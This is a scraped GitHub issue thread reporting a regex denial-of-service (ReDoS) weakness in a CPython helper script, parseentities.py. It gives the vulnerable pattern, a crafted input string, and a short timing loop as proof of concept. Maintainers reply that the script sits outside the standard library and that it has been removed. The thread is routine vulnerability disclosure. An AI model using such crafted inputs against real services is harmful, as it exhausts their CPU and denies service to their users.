You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
The ReDOS vulnerability of the regex is mainly due to the sub-pattern ' +((?:.|\n)+?) *'
and can be exploited with the following string
'<!ENTITY a CDATA "a" -- ' + ' ' * 5000
You can execute the following code to reproduce ReDos
fromTools.scripts.parseentitiesimportparsefromtimeimportperf_counterforiinrange(0, 10000):
ATTACK='<!ENTITY a CDATA "a" -- '+' '*i*100LEN=len(ATTACK)
BEGIN=perf_counter()
parse(ATTACK)
DURATION=perf_counter() -BEGINprint(f"{LEN}: took {DURATION} seconds!")
Without evaluating the validity of the regex vulnerability, is important to note that the files in Tools/scripts are not part of the standard library and therefore they aren't a valid stack vector.
Activity
yetingli commentedon Oct 3, 2020
Hi,
I find this regex '<!ENTITY +(\w+) +CDATA +"([^"]+)" +-- +((?:.|\n)+?) *-->' may be stucked by input.
The vulnerable regex is located in
cpython/Tools/scripts/parseentities.py
Line 18 in 8d21aa2
The ReDOS vulnerability of the regex is mainly due to the sub-pattern ' +((?:.|\n)+?) *'
and can be exploited with the following string
'<!ENTITY a CDATA "a" -- ' + ' ' * 5000
You can execute the following code to reproduce ReDos
Looking forward for your response!
Best,
Yeting Li
pablogsal commentedon Oct 5, 2020
Without evaluating the validity of the regex vulnerability, is important to note that the files in Tools/scripts are not part of the standard library and therefore they aren't a valid stack vector.
malemburg commentedon Dec 6, 2021
Interesting that the tool still exists. It uses mxTextTools, but in a non-packaged version, so it's been broken for two decades now :-)
I think it's safe to remove it from Tools\scripts.
ezio-melotti commentedon Jun 22, 2022
Tools/scripts/parseentities.pyhas been removed in #92504.